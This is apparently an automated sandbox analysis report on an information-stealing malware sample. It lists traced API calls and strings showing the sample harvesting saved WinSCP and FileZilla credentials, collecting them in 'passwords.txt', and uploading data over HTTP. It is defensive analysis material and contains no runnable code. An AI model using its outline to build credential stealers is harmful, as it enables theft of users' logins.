GetProcAddress.KERNEL32(?,00415729), ref: 00415DAB
GetProcAddress.KERNEL32(?,00415729), ref: 00415DC2
GetProcAddress.KERNEL32(?,00415729), ref: 00415DD9
GetProcAddress.KERNEL32(?,00415729), ref: 00415DF0
GetProcAddress.KERNEL32(?,00415729), ref: 00415E07
GetProcAddress.KERNEL32(?,00415729), ref: 00415E1E
GetProcAddress.KERNEL32(?,00415729), ref: 00415E35
LoadLibraryA.KERNEL32(00415033,?,00000040,00000064,0041203E,004116F5,?,0000002C,00000064,00411FBD,00411FFA,?,00000024,00000064,Function_00011F80,00411C75), ref: 00415E46
LoadLibraryA.KERNEL32(?,00415729), ref: 00415E57
LoadLibraryA.KERNEL32(?,00415729), ref: 00415E68
LoadLibraryA.KERNEL32(?,00415729), ref: 00415E79
LoadLibraryA.KERNEL32(?,00415729), ref: 00415E8A
LoadLibraryA.KERNEL32(?,00415729), ref: 00415E9B
LoadLibraryA.KERNEL32(?,00415729), ref: 00415EAC
LoadLibraryA.KERNEL32(?,00415729), ref: 00415EBD
LoadLibraryA.KERNEL32(dbghelp.dll,?,00415729), ref: 00415ECD
GetProcAddress.KERNEL32(76430000), ref: 00415EE8
GetProcAddress.KERNEL32(?,00415729), ref: 00415EFF
GetProcAddress.KERNEL32(?,00415729), ref: 00415F16
GetProcAddress.KERNEL32(?,00415729), ref: 00415F2D
GetProcAddress.KERNEL32(?,00415729), ref: 00415F44
GetProcAddress.KERNEL32(6FC80000), ref: 00415F63
GetProcAddress.KERNEL32(?,00415729), ref: 00415F7A
GetProcAddress.KERNEL32(?,00415729), ref: 00415F91
GetProcAddress.KERNEL32(?,00415729), ref: 00415FA8
GetProcAddress.KERNEL32(?,00415729), ref: 00415FBF
GetProcAddress.KERNEL32(?,00415729), ref: 00415FD6
GetProcAddress.KERNEL32(?,00415729), ref: 00415FED
GetProcAddress.KERNEL32(?,00415729), ref: 00416004
GetProcAddress.KERNEL32(75460000), ref: 0041601F
GetProcAddress.KERNEL32(?,00415729), ref: 00416036
GetProcAddress.KERNEL32(?,00415729), ref: 0041604D
GetProcAddress.KERNEL32(?,00415729), ref: 00416064
GetProcAddress.KERNEL32(?,00415729), ref: 0041607B
GetProcAddress.KERNEL32(76A50000), ref: 0041609A
GetProcAddress.KERNEL32(?,00415729), ref: 004160B1
GetProcAddress.KERNEL32(?,00415729), ref: 004160C8
GetProcAddress.KERNEL32(?,00415729), ref: 004160DF
GetProcAddress.KERNEL32(?,00415729), ref: 004160F6
GetProcAddress.KERNEL32(?,00415729), ref: 0041610D
GetProcAddress.KERNEL32(76050000), ref: 0041612C
GetProcAddress.KERNEL32(?,00415729), ref: 00416143
GetProcAddress.KERNEL32(?,00415729), ref: 0041615A
GetProcAddress.KERNEL32(?,00415729), ref: 00416171
GetProcAddress.KERNEL32(?,00415729), ref: 00416188
GetProcAddress.KERNEL32(?,00415729), ref: 0041619F
GetProcAddress.KERNEL32(?,00415729), ref: 004161B6
GetProcAddress.KERNEL32(?,00415729), ref: 004161CD
GetProcAddress.KERNEL32(?,00415729), ref: 004161E4
GetProcAddress.KERNEL32(76A70000), ref: 004161FF
GetProcAddress.KERNEL32(?,00415729), ref: 00416216
GetProcAddress.KERNEL32(?,00415729), ref: 0041622D
GetProcAddress.KERNEL32(?,00415729), ref: 00416244
GetProcAddress.KERNEL32(?,00415729), ref: 0041625B
GetProcAddress.KERNEL32(76B70000), ref: 00416276
GetProcAddress.KERNEL32(?,00415729), ref: 0041628D
GetProcAddress.KERNEL32(74EA0000), ref: 004162A8
GetProcAddress.KERNEL32(?,00415729), ref: 004162BF
GetProcAddress.KERNEL32(6F090000), ref: 004162DE
GetProcAddress.KERNEL32(?,00415729), ref: 004162F5
GetProcAddress.KERNEL32(?,00415729), ref: 0041630C
GetProcAddress.KERNEL32(?,00415729), ref: 00416323
GetProcAddress.KERNEL32(?,00415729), ref: 0041633A
GetProcAddress.KERNEL32(?,00415729), ref: 00416351
GetProcAddress.KERNEL32(?,00415729), ref: 00416368
GetProcAddress.KERNEL32(?,00415729), ref: 0041637F
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00416395
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 004163AB
GetProcAddress.KERNEL32(76460000), ref: 004163C6
GetProcAddress.KERNEL32(?,00415729), ref: 004163DD
GetProcAddress.KERNEL32(?,00415729), ref: 004163F4
GetProcAddress.KERNEL32(?,00415729), ref: 0041640B
GetProcAddress.KERNEL32(76E80000), ref: 00416426
GetProcAddress.KERNEL32(69630000), ref: 00416441
GetProcAddress.KERNEL32(?,00415729), ref: 00416458
GetProcAddress.KERNEL32(?,00415729), ref: 0041646F
GetProcAddress.KERNEL32(?,00415729), ref: 00416486
GetProcAddress.KERNEL32(69440000,SymMatchString), ref: 004164A0

Strings

InternetSetOptionA, xrefs: 0041639B
SymMatchString, xrefs: 0041649A
HttpQueryInfoA, xrefs: 00416385
dbghelp.dll, xrefs: 00415EC3

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$SymMatchString$dbghelp.dll
API String ID: 2238633743-951535364
Opcode ID: 7ee123ca745573e8bcde7b4cf28fad0e34183204329153c31f3384655e5c68d7
Instruction ID: eb32395ba13ce1e9228dbc2fe4c46f07139afd4695291c90c7e5f4c2c57d84f8
Opcode Fuzzy Hash: 7ee123ca745573e8bcde7b4cf28fad0e34183204329153c31f3384655e5c68d7
Instruction Fuzzy Hash: F742E975411600EFDB1A9FA0FE48A293FB7FB08B61B14742AF905D2230D7364866EF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2F6 Relevance: 89.6, APIs: 37, Strings: 14, Instructions: 318
stringregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040B2FB
memset.MSVCRT ref: 0040B324
memset.MSVCRT ref: 0040B344
memset.MSVCRT ref: 0040B358
memset.MSVCRT ref: 0040B36C
memset.MSVCRT ref: 0040B37B
memset.MSVCRT ref: 0040B389
memset.MSVCRT ref: 0040B39A
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0040B3C2
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040B3EA
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?), ref: 0040B439
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040B456
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040B46A
HeapAlloc.KERNEL32(00000000), ref: 0040B471
lstrcat.KERNEL32(?,Soft: WinSCP), ref: 0040B482
lstrcat.KERNEL32(?,Host: ), ref: 0040B490
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?), ref: 0040B4B3
lstrcat.KERNEL32(?,?), ref: 0040B4BF
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?), ref: 0040B4E9
lstrcat.KERNEL32(?,00000000), ref: 0040B50C
lstrcat.KERNEL32(?,:22), ref: 0040B527
lstrcat.KERNEL32(?,00423E70), ref: 0040B535
lstrcat.KERNEL32(?,Login: ), ref: 0040B543
RegGetValueA.ADVAPI32(?,?,UserName,00000002,00000000,?,?), ref: 0040B566
lstrcat.KERNEL32(?,?), ref: 0040B572
lstrcat.KERNEL32(?,00423E88), ref: 0040B580
RegGetValueA.ADVAPI32(?,?,Password,00000002,00000000,?,?), ref: 0040B5A3
lstrcat.KERNEL32(?,Password: ), ref: 0040B5AD
StrCmpCA.SHLWAPI(?,00423B63), ref: 0040B5BF
lstrcat.KERNEL32(?,00000000), ref: 0040B5F9
lstrcat.KERNEL32(?,00423EA4), ref: 0040B612
lstrcat.KERNEL32(?,00423EA8), ref: 0040B620
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040B645
memset.MSVCRT ref: 0040B656
memset.MSVCRT ref: 0040B664
lstrlen.KERNEL32(?), ref: 0040B67B

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

memset.MSVCRT ref: 0040B6CA

Strings

passwords.txt, xrefs: 0040B68D
Host: , xrefs: 0040B488
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040B3AF
UseMasterPassword, xrefs: 0040B3DD
Password, xrefs: 0040B594
Soft: WinSCP, xrefs: 0040B47A
Login: , xrefs: 0040B53B
:22, xrefs: 0040B51F
UserName, xrefs: 0040B557
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040B42F
Password: , xrefs: 0040B5A5
HostName, xrefs: 0040B4A4
PortNumber, xrefs: 0040B4D3
Security, xrefs: 0040B3E2

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$Value$H_prolog$EnumHeapOpen$AllocCreateObjectProcessSingleThreadWaitlstrlen
String ID: :22$Host: $HostName$Login: $Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 4023705341-1250616252
Opcode ID: 0ae2b1ab71da14bfedc18c90a8699ceb4b08373d83c707b2c4e8e0978bf3169d
Instruction ID: dafb6aed670c4b7603237ff4a291613748089690d59408b5a89c45ceb1129978
Opcode Fuzzy Hash: 0ae2b1ab71da14bfedc18c90a8699ceb4b08373d83c707b2c4e8e0978bf3169d
Instruction Fuzzy Hash: A2C146B190012DAFDF019BE0DD86EFFBB7DEB0430AF000466B515B2191D7385E488BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6FE Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 370
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040B703

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00406572: _EH_prolog.MSVCRT ref: 00406577
Part of subcall function 00406572: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
Part of subcall function 00406572: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
Part of subcall function 00406572: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
Part of subcall function 00406572: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
Part of subcall function 00406572: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

Part of subcall function 0040FA81: LocalAlloc.KERNEL32(00000040,00411BB2,00000001,00000000,?,00411BB1,00000000,00000000), ref: 0040FA9A

strtok_s.MSVCRT ref: 0040B7E1
GetProcessHeap.KERNEL32(00000000,000F423F,00423B6E,00423B6B,00423B6A,00423B67), ref: 0040B835
HeapAlloc.KERNEL32(00000000), ref: 0040B83C
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040B850
lstrlen.KERNEL32(00000000), ref: 0040B85B
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040B893
lstrlen.KERNEL32(00000000), ref: 0040B89E
StrStrA.SHLWAPI(00000000,<User>), ref: 0040B8DC
lstrlen.KERNEL32(00000000), ref: 0040B8E7
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040B925
lstrlen.KERNEL32(00000000), ref: 0040B934
lstrlen.KERNEL32(?), ref: 0040BB2F

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

memset.MSVCRT ref: 0040BB7F

Strings

Password: , xrefs: 0040BAA1
Login: , xrefs: 0040BA73
Host: , xrefs: 0040BA25
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040B770
<Port>, xrefs: 0040B88D
passwords.txt, xrefs: 0040BB41
<Pass encoding="base64">, xrefs: 0040B91F
Soft: FileZilla, xrefs: 0040BA17
<User>, xrefs: 0040B8D6
<Host>, xrefs: 0040B84A

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitmemsetstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 486015307-935134978
Opcode ID: 2279815c5af11932ae22f43602dd399c164451bf8a6e33b3e2f634c84b572a83
Instruction ID: 3abb7f64373fa4bba0ef9717ba665e89885f2cddbb36de3fbc11113f1a1a97bf
Opcode Fuzzy Hash: 2279815c5af11932ae22f43602dd399c164451bf8a6e33b3e2f634c84b572a83
Instruction Fuzzy Hash: 2DE16531D00158EACB05EBE6DD46EEEBB78AF14309F50086AF411721D2EF795B18CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3 Relevance: 67.2, APIs: 23, Strings: 15, Instructions: 750
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004047D8

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00403E7A: _EH_prolog.MSVCRT ref: 00403E7F
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EB1
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EBA
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EC3
Part of subcall function 00403E7A: lstrlen.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403EDD
Part of subcall function 00403E7A: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403EED

lstrlen.KERNEL32(00000000), ref: 00404847

Part of subcall function 0040FAC0: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 0040FAE4
Part of subcall function 0040FAC0: GetProcessHeap.KERNEL32(00000000,?,?,0040483B,?,?,?,?,?,?), ref: 0040FAF1
Part of subcall function 0040FAC0: HeapAlloc.KERNEL32(00000000,?,0040483B,?,?,?,?,?,?), ref: 0040FAF8

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

StrCmpCA.SHLWAPI(?,004238D7,004238D3,004238CB,004238C7,004238C6), ref: 004048CA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004049F5
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00404A2F
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404A53

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,00000000,?,00423990,00000000,?,?,00000000), ref: 00404F63
lstrlen.KERNEL32(00000000), ref: 00404F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00404F87
HeapAlloc.KERNEL32(00000000), ref: 00404F8E
lstrlen.KERNEL32(00000000), ref: 00404FA0
memcpy.MSVCRT ref: 00404FB3
lstrlen.KERNEL32(00000000,?,?), ref: 00404FCA
memcpy.MSVCRT ref: 00404FD4
lstrlen.KERNEL32(00000000), ref: 00404FE5
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404FFE
memcpy.MSVCRT ref: 0040500B
lstrlen.KERNEL32(00000000,?,00000000), ref: 00405020
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405031
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00405058
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004050DA
InternetCloseHandle.WININET(00000000), ref: 004050E5
InternetCloseHandle.WININET(?), ref: 004050EE

Strings

--, xrefs: 0040494E
0, xrefs: 004050B8
", xrefs: 00404C7B
ERROR, xrefs: 004051BD
file_data, xrefs: 00404F06
------, xrefs: 00404E5E
------, xrefs: 00404A59
------, xrefs: 00404D0F
", xrefs: 00404DE2
", xrefs: 00404B2C
ERROR, xrefs: 00405065
------, xrefs: 00404BA9
------, xrefs: 00404927
build_id, xrefs: 00404C51
", xrefs: 00404F30

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$H_prologHeap$Httpmemcpy$AllocCloseHandleProcessRequestlstrcat$BinaryConnectCrackCryptFileInfoOpenOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$0$ERROR$ERROR$build_id$file_data
API String ID: 1668742255-1805485788
Opcode ID: 1982c3b644e91933072f4f5f3f92312b8c1abb531cdc7b898659ab580ed6eb8e
Instruction ID: e4656bce2390a430ae880b6d9b5c77baf21896f09229944d3e04ae0c67427a74
Opcode Fuzzy Hash: 1982c3b644e91933072f4f5f3f92312b8c1abb531cdc7b898659ab580ed6eb8e
Instruction Fuzzy Hash: 1F627771800148EACB05EBE1D955AEEBBB8AF24308F50486EF501731C2EF795B19DB75

Uniqueness

Uniqueness Score: -1.00%

Function 0040554E Relevance: 54.9, APIs: 21, Strings: 10, Instructions: 647
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00405553

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00403E7A: _EH_prolog.MSVCRT ref: 00403E7F
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EB1
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EBA
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EC3
Part of subcall function 00403E7A: lstrlen.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403EDD
Part of subcall function 00403E7A: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403EED

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004055FE
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040579D
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 004057D4
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,mode,00000000,?,00000000,?,00423A10,00000000), ref: 00405BE3
lstrlen.KERNEL32(00000000), ref: 00405BF4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405BFE
HeapAlloc.KERNEL32(00000000), ref: 00405C05
lstrlen.KERNEL32(00000000), ref: 00405C16
memcpy.MSVCRT ref: 00405C27
lstrlen.KERNEL32(00000000), ref: 00405C38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405C51
memcpy.MSVCRT ref: 00405C5A
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405C6D
HttpSendRequestA.WININET(?,00000000,00000000), ref: 00405C81
InternetReadFile.WININET(?,?,000000C7,?), ref: 00405CD5
InternetCloseHandle.WININET(?), ref: 00405CE0
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004057F9

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

InternetCloseHandle.WININET(?), ref: 00405CE9
InternetCloseHandle.WININET(?), ref: 00405CF2
StrCmpCA.SHLWAPI(?), ref: 00405615

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Strings

------, xrefs: 00405697
", xrefs: 00405A21
------, xrefs: 00405AB5
), xrefs: 00405D34
", xrefs: 00405B87
", xrefs: 004058D2
------, xrefs: 004057FF
mode, xrefs: 00405B5D
------, xrefs: 0040594F
build_id, xrefs: 004059F7

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$H_prolog$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$)$------$------$------$------$build_id$mode
API String ID: 2237346945-290892794
Opcode ID: 9ff6a15c5c7019457d2c3c832dace0c2a20d5876813e0eac17f59894b2582284
Instruction ID: 6d38a9fc3694a3e8b94bd91dac81915679d7add13e6d72e620f29f3178a6d092
Opcode Fuzzy Hash: 9ff6a15c5c7019457d2c3c832dace0c2a20d5876813e0eac17f59894b2582284
Instruction Fuzzy Hash: 9A424771800248EADB05EBE2D956AEEBBB89F24308F50086EF501731C2DF795B19DB75

Uniqueness

Uniqueness Score: -1.00%

Function 00412FB4 Relevance: 51.8, APIs: 3, Strings: 26, Instructions: 1023
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00412FB9

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E954: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,0042435E), ref: 0040E962
Part of subcall function 0040E954: HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,0042435E), ref: 0040E969
Part of subcall function 0040E954: GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,0042435E), ref: 0040E975
Part of subcall function 0040E954: wsprintfA.USER32 ref: 0040E9A0

Part of subcall function 0040F18B: memset.MSVCRT ref: 0040F1B1
Part of subcall function 0040F18B: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,^CB,?,?,00000000), ref: 0040F1CD
